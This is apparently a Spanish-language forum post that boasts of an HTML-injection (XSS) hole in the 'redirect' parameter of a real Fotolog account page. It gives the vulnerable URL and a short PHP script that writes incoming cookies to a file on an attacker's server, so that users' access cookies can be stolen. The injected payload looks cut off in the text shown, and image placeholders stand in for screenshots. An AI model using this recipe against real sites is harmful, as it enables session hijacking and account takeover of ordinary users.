FOTOLOG Vulnerable!

Esta vulnerabilidad se puede hallar en varias web - se estima que tiene presencia en un 75 % de las web, incluyendo en la que estoy escribiendo esto! XD

Cita:

http://account.fotolog.com/language?redirect=">

Esta imagen a sido reducida. Pulse en la barra para ver la imagen de tamaño original. La imagen original es de tamaño 1280x800 y pesa 81KB.

al tener Esta vulnerabilidad abierta Podemos Inyectar Código HTML

Esta imagen a sido reducida. Pulse en la barra para ver la imagen de tamaño original. La imagen original es de tamaño 1280x800 y pesa 86KB.

Bien Lo interesante Es que Con Este Método se Pueden Obtener Cookies de Acceso!

Código:

$cookie = $_GET['cookie'];
$fff = fopen("cookies.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

guardamos con la extensión xp3rm4.php Así puede Funcionar correctamente en el Servidor y obtener la cookie!
http://account.fotolog.com/language?redirect=">